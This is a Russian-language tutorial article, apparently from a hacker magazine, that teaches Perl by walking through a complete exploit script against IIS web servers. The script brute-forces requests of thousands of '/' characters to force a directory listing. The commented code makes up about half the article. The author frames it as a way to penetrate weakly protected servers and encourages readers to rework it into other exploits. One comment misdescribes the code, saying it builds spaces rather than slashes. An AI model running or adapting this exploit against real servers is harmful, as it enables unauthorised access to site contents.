В Интернете достаточно много сайтов, которые сообщают тебе о все новых и новых уязвимостях в web-серверах. К сожалению, значительно меньшее количество реально комментируют эксплоиты, а некоторые, например, просто скупо сообщают "в программном обеспечение сервера XXX содержится ошибка, позволяющая выполнить buffer
overflow".
О реализации этой, достаточно распространенной уязвимости и пойдет речь. К сожалению, не существует достаточно простого и универсального способа для того чтобы проникать на слабо защищенные сервера, кроме умения программировать. Но, для того чтобы понять суть описываемого, тебе необходимо обладать лишь поверхностными знаниями в этой области, так как язык Перл, а именно о нем пойдет речь в данной статье, не слишком сложен, и доступен даже начинающим. Я сам изучил его за неделю настолько, что сейчас могу разбираться в подавляющем большинстве исходных кодов эксплоитов, которые публикуют на сайтах "специалисты по безопасности".(Например уже упоминавшийся в "Х" Гунинский). Итак, на всякий случай напомню, что скачать Перл можно по адресу
http://www.activestate.com/activeperl, а хорошая документация на русском языке доступна по адресу:
http://cgiworld.al.ru/library.htm. Кстати, отмечу еще одну особенность эксплоитов написанных на Перле, о которой почему-то часто забывают. Дело в том, что эксплоит на Си скорее всего с большим трудом откомпилируется под WIN, а скорее всего и вовсе не заработает. Эксплоит же на Перле заработает под мелкомягкую систему в 80% случаев.
Рассматривать мы будем уязвимость, работающую на серверах IIS и позволяющую просмотреть содержимое директории даже в том случае, если в ней существует файл index.html . Переполнение буфера происходит в том случае, если послать запрос содержащий несколько тысяч символов "/".
Текст эксплоита с комментариями приведен ниже(комментарии в Перле вводятся символом
#):
#!/usr/bin/perl #эта строка указывает на месторасположение Перла в твоей системе
use IO::Socket; #Подключаем библиотеку для работы с сокетами (в данном контексте "с Сетью")
$low = 4000; #Инициализируем переменную которая указывает на нижнюю границу количества "/" которые мы будем посылать
$hi = 5000; #То же самое, но для максимального количества
$port = 80; # Порт к которому будем подключаться. (именно на нем должен быть запущен IIS сервер)
$host = "www.ABRACADABRA.ru"; #Адрес сервера
while($low <= $hi) #Далее идет цикл, который будет выполняться до тех пор, пока значение переменной low<=значения переменной hi
{
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
Proto => "TCP") or die "Connect Failed"; #Эта строка инициализирует сокет, и для всех скриптов одна и та же.
$url = ""; #Обнуляем значения переменных url,buffer и end
$buffer = "";
$end = "";
$url = "GET "; # Мы будем посылать серверу GET запрос
$buffer = "/" x $low . " HTTP/1.0\r\n"; #В этой строке переменной буфер присваивается результат операции ".", которая просто объединяет две строки в одну. Выражение "/" x $low создаст строку из low пробелов.
$end = "\r\n\r\n"; #Посылаемый запрос должен заканчиваться этой последовательностью символов. Это просто два раза "возврат каретки. перевод строки"
$url = $url . $buffer . $end; #Объединяем три строки в одну
print $socket "$url"; #Таким образом Перл отправляет в сокет строку.
while(<$socket>) #Построчно читаем ответ от сервера
{
if($_ =~ "Index of") #Если в ответе есть строка "Index of", то выводим то число слэшей которое позволило нам ее увидеть... Если написать print $_ , то нам покажут всю строку. ($_ - переменная используемая по умолчанию.)
{
print "Число найдено: $low\n";
close($socket); #Закрываем сокет
exit; #Выходим из программы
}
}
close($socket);
$low++ # Прибавляем единицу к значению переменной low, и заново отправляем запрос.
}
Даже такая небольшая программа отражает специфику Перла как языка программирования. В частности хочу отметить, что структура условного оператора while такова: while (условие) {операторы} , и именно с этим связано такое количество круглых и фигурных скобок в тексте программы. В принципе приведенная программа не очень сложна даже для начинающих, поэтому я думаю что ты без особого труда сможешь дополнить ее диагностическими сообщениями, или даже переделать для реализации другого эксплоита.
Успешного тебе программирования!